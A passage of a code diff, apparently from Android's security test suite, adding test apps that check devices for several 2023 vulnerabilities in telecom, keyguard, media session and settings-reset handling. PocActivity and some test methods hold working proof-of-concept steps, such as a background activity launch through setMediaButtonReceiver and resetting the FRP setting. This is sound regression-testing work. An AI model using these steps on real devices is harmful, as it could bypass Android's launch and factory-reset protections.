+                    new Intent()
+                            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                            .setComponent(componentName));
+
+            // Without fix 'EnableAccountPreferenceActivity' launches and test fails
+            assertWithMessage(
+                            "Device is vulnerable to b/296915211 !! Images can be revealed across"
+                                    + " users via TelecomManager#registerPhoneAccount")
+                    .that(checkActivityLaunched(componentName.flattenToString()))
+                    .isFalse();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        } finally {
+            try {
+                // Exit the test gracefully
+                runShellCommand("input keyevent KEYCODE_HOME");
+            } catch (Exception ignore) {
+                // Ignore
+            }
+        }
+    }
+
+    private String queryTelecomPkgName() {
+        String telecomPkgName = "com.android.server.telecom";
+        ResolveInfo resolveInfo =
+                mContext.getPackageManager()
+                        .resolveActivity(
+                                new Intent(Intent.ACTION_CALL).setData(Uri.parse("tel:123")),
+                                0 /* flags */);
+        if (resolveInfo != null && resolveInfo.activityInfo != null) {
+            telecomPkgName = resolveInfo.activityInfo.packageName;
+        }
+        return telecomPkgName;
+    }
+
+    private boolean checkActivityLaunched(String activityName) throws Exception {
+        final Pattern resumedPattern =
+                Pattern.compile("mResumed=(?<value>(true|false))", Pattern.CASE_INSENSITIVE);
+        return poll(
+                () -> {
+                    String dumpsys =
+                            runShellCommand(String.format("dumpsys activity " + activityName));
+                    Matcher matcher = resumedPattern.matcher(dumpsys);
+                    if (matcher.find() && matcher.group("value").equals("true")) {
+                        return true;
+                    }
+                    return false;
+                });
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/TestConnectionService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/TestConnectionService.java
new file mode 100644
index 0000000..0102f63
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/TestConnectionService.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40086;
+
+import android.telecom.ConnectionService;
+
+public class TestConnectionService extends ConnectionService {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp
new file mode 100644
index 0000000..f7fc65e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-40094",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml
new file mode 100644
index 0000000..e75a5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_40094">
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_40094" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java
new file mode 100644
index 0000000..adc3db1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40094/src/android/security/cts/CVE_2023_40094/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40094;
+
+import static android.Manifest.permission.CONTROL_KEYGUARD;
+import static android.view.WindowManagerPolicyConstants.KEYGUARD_GOING_AWAY_FLAG_TO_SHADE;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testCVE_2023_40094() {
+        try {
+            // Call the vulnerable function 'keyguardGoingAway()'
+            try {
+                ActivityTaskManager.getService()
+                        .keyguardGoingAway(KEYGUARD_GOING_AWAY_FLAG_TO_SHADE);
+            } catch (SecurityException securityException) {
+                if (securityException.getLocalizedMessage().contains(CONTROL_KEYGUARD)) {
+                    // SecurityException is expected with fix and hence exit the test
+                    return;
+                }
+                throw securityException;
+            }
+
+            // Fail the test if SecurityException doesn't occur
+            fail("Device is vulnerable to b/288896339 !!");
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/Android.bp
new file mode 100644
index 0000000..7ca2418
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+android_test_helper_app {
+    name: "CVE-2023-40111",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/AndroidManifest.xml
new file mode 100644
index 0000000..22b6cf6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_40111">
+
+    <application>
+        <activity
+            android:name=".TargetActivity"
+            android:exported="false" />
+        <activity
+            android:name=".PocActivity"
+            android:exported="false" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_40111" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/raw/sine1khzs40dblong.mp3 b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/raw/sine1khzs40dblong.mp3
new file mode 100644
index 0000000..4ec7b1d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/raw/sine1khzs40dblong.mp3
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/values/strings.xml
new file mode 100644
index 0000000..49ffc6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/res/values/strings.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="bcastAction">CVE_2023_40111_TargetActivity</string>
+    <string name="isVulnerable">isVulnerable</string>
+    <string name="noExceptionMsg">no exception</string>
+    <string name="pocActivityStatus">status</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/DeviceTest.java
new file mode 100644
index 0000000..94b7912
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/DeviceTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40111;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private String mPocActivityStatus;
+
+    @Test
+    public void testCVE_2023_40111() {
+        try {
+            final Semaphore pocReturn = new Semaphore(0);
+            final Semaphore targetReturn = new Semaphore(0);
+            Context context = getApplicationContext();
+            BroadcastReceiver broadcastReceiver =
+                    new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent intent) {
+                            try {
+                                // Check if TargetActivity gets launched
+                                if (intent.getBooleanExtra(
+                                        context.getString(R.string.isVulnerable), false)) {
+                                    targetReturn.release();
+                                }
+
+                                // Check if PocActivity launched successfully
+                                mPocActivityStatus =
+                                        intent.getStringExtra(
+                                                context.getString(R.string.pocActivityStatus));
+                                if (mPocActivityStatus != null) {
+                                    pocReturn.release();
+                                }
+                            } catch (Exception ignored) {
+                                // Ignore any exceptions
+                            }
+                        }
+                    };
+            IntentFilter filter = new IntentFilter(context.getString(R.string.bcastAction));
+            context.registerReceiver(broadcastReceiver, filter, Context.RECEIVER_EXPORTED);
+
+            // Start PocActivity
+            final int timeoutMs = 5000;
+            context.startActivity(
+                    new Intent(context, PocActivity.class).setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+            assume().withMessage("PocActivity not launched")
+                    .that(pocReturn.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+                    .isTrue();
+            assume().withMessage("PocActivity crashed with exception: %s", mPocActivityStatus)
+                    .that(mPocActivityStatus)
+                    .isEqualTo(context.getString(R.string.noExceptionMsg));
+
+            // Wait on call from TargetActivity. On vulnerable device, TargetActivity will
+            // launch and the test fail, with fix TargetActivity will not launch.
+            assertWithMessage("Device is vulnerable to b/272024837 !!")
+                    .that(targetReturn.tryAcquire(timeoutMs, TimeUnit.MILLISECONDS))
+                    .isFalse();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/PocActivity.java
new file mode 100644
index 0000000..45d50e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/PocActivity.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40111;
+
+import static android.provider.Settings.ACTION_SETTINGS;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
+import android.media.MediaPlayer;
+import android.media.session.MediaSession;
+import android.os.Handler;
+import android.os.Looper;
+import android.view.KeyEvent;
+
+import java.util.List;
+
+public class PocActivity extends Activity {
+    private AudioManager mAudioManager;
+
+    @Override
+    protected void onResume() {
+        try {
+            super.onResume();
+            mAudioManager = getSystemService(AudioManager.class);
+
+            // To move task in background according to task issue.
+            moveTaskToBack(true);
+            PendingIntent pendingIntent =
+                    PendingIntent.getActivity(
+                            this,
+                            1 /* requestCode */,
+                            new Intent(this, TargetActivity.class),
+                            PendingIntent.FLAG_MUTABLE);
+
+            // Using handler() to update the thread from the background thread to the main thread
+            // using looper to be run after the specified amount of time elapses.
+            Handler handler = new Handler(Looper.getMainLooper());
+            Runnable runnable =
+                    () -> {
+                        if (!isAppOnForeground()) {
+                            MediaSession mediaSession =
+                                    new MediaSession(PocActivity.this, "TEST_SESSION_TAG");
+
+                            // Checks successful media playback initiation
+                            runMediaPlayback(handler);
+
+                            // On vulnerable device, calling setMediaButtonReceiver() causes
+                            // TargetActivity to be launched.
+                            mediaSession.setMediaButtonReceiver(pendingIntent);
+                            mediaSession.release();
+                            mAudioManager.dispatchMediaKeyEvent(
+                                    new KeyEvent(
+                                            KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_PLAY));
+                        }
+                    };
+            handler.postDelayed(runnable, 2_000L /* delay */);
+
+            // Launching settings to reproduce vulnerability
+            startActivity(new Intent(ACTION_SETTINGS).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+            sendBroadcast(
+                    new Intent(getString(R.string.bcastAction))
+                            .putExtra(
+                                    getString(R.string.pocActivityStatus),
+                                    getString(R.string.noExceptionMsg)));
+        } catch (Exception e) {
+            try {
+                sendBroadcast(
+                        new Intent(getString(R.string.bcastAction))
+                                .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+            } catch (Exception ignored) {
+                // Ignore any exceptions
+            }
+        }
+    }
+
+    private boolean isAppOnForeground() {
+        ActivityManager activityManager = getSystemService(ActivityManager.class);
+        List<ActivityManager.RunningAppProcessInfo> appProcesses =
+                activityManager.getRunningAppProcesses();
+        if (appProcesses == null) {
+            return false;
+        }
+        for (ActivityManager.RunningAppProcessInfo appProcess : appProcesses) {
+            if (appProcess.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
+                    && appProcess.processName.equals(getPackageName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void runMediaPlayback(Handler handler) {
+        AudioManager.AudioPlaybackCallback callback =
+                new AudioManager.AudioPlaybackCallback() {
+                    @Override
+                    public void onPlaybackConfigChanged(List<AudioPlaybackConfiguration> configs) {}
+                };
+
+        MediaPlayer mediaPlayer = null;
+        try {
+            mAudioManager.registerAudioPlaybackCallback(callback, handler);
+
+            // Used from cts/tests/tests/media/common/src/android/media/cts/Utils.java
+            mediaPlayer = MediaPlayer.create(this, R.raw.sine1khzs40dblong);
+            mediaPlayer.start();
+        } finally {
+            mAudioManager.unregisterAudioPlaybackCallback(callback);
+            if (mediaPlayer != null) {
+                mediaPlayer.stop();
+                mediaPlayer.release();
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/TargetActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/TargetActivity.java
new file mode 100644
index 0000000..07ca2cb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40111/src/android/security/cts/CVE_2023_40111/TargetActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40111;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class TargetActivity extends Activity {
+
+    @Override
+    public void onResume() {
+        try {
+            super.onResume();
+            sendBroadcast(
+                    new Intent(getString(R.string.bcastAction))
+                            .putExtra(getString(R.string.isVulnerable), true));
+        } catch (Exception ignored) {
+            // Ignoring exceptions here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/Android.bp
new file mode 100644
index 0000000..a38208f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-40117",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "sts-device-util",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/AndroidManifest.xml
new file mode 100644
index 0000000..fe7942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_40117">
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_40117" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/src/android/security/cts/CVE_2023_40117/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/src/android/security/cts/CVE_2023_40117/DeviceTest.java
new file mode 100644
index 0000000..7f96807
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40117/src/android/security/cts/CVE_2023_40117/DeviceTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40117;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.sts.common.SystemUtil.withSetting;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.ContentResolver;
+import android.provider.Settings;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testCVE_2023_40117() {
+        try {
+            Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            final String name = Settings.Global.SECURE_FRP_MODE;
+            final String untrustedDefaults = "untrusted_defaults";
+            final String untrustedClear = "untrusted_clear";
+            final String trustedDefaults = "trusted_defaults";
+            final String value = "1";
+            final String global = "global";
+            final String secure = "secure";
+            try (AutoCloseable withSettingFrpAutoCloseable =
+                            withSetting(instrumentation, global, name, value);
+
+                    // Reset all other settings
+                    AutoCloseable resetGlobalSettingUntrustedDefaults =
+                            withResetSettingAutoCloseable(global, untrustedDefaults);
+                    AutoCloseable resetGlobalSettingUntrustedClear =
+                            withResetSettingAutoCloseable(global, untrustedClear);
+                    AutoCloseable resetGlobalSettingTrustedDefaults =
+                            withResetSettingAutoCloseable(global, trustedDefaults);
+                    AutoCloseable resetSecureSettingUntrustedDefaults =
+                            withResetSettingAutoCloseable(secure, untrustedDefaults);
+                    AutoCloseable resetSecureSettingUntrustedClear =
+                            withResetSettingAutoCloseable(secure, untrustedClear);
+                    AutoCloseable resetSecureSettingTrustedDefaults =
+                            withResetSettingAutoCloseable(secure, trustedDefaults)) {
+                // With fix value of SECURE_FRP_MODE should still be "1", Without fix it will get
+                // reset to null.
+                ContentResolver contentResolver = instrumentation.getContext().getContentResolver();
+                assertWithMessage(
+                                "Device is vulnerable to b/253043065 !! SECURE_FRP_MODE should not"
+                                    + " get reset when other settings get reset")
+                        .that(Settings.Global.getString(contentResolver, name))
+                        .isEqualTo(value);
+            }
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    private AutoCloseable withResetSettingAutoCloseable(String namespace, String key) {
+        final String originalValue =
+                runShellCommand(String.format("settings get %s %s", namespace, key)).trim();
+
+        // Reset settings
+        runShellCommand(String.format("settings reset %s %s", namespace, key));
+
+        // Returning AutoCloseable to reset the value
+        return () -> {
+            if (!originalValue.equals("null")) {
+                runShellCommand(
+                        String.format("settings put %s %s %s", namespace, key, originalValue));
+            }
+        };
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/Android.bp
new file mode 100644
index 0000000..7476191
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-40126",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        // including this to use androidx.core.content.FileProvider
+        "androidx.legacy_legacy-support-v4",
+        "truth"
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/AndroidManifest.xml
new file mode 100644
index 0000000..201a276
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_40126">
+    <queries>
+        <package android:name="com.android.contacts" />
+    </queries>
+    <application>
+        <provider android:name="androidx.core.content.FileProvider"
+            android:authorities="authority_CVE_2023_40126"
+            android:grantUriPermissions="true">
+            <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+                android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_40126" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/res/xml/file_paths.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/res/xml/file_paths.xml
new file mode 100644
index 0000000..59ce371
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/res/xml/file_paths.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<paths>
+    <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/src/android/security/cts/CVE_2023_40126/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/src/android/security/cts/CVE_2023_40126/DeviceTest.java
new file mode 100644
index 0000000..15b0cad
--- /dev/null
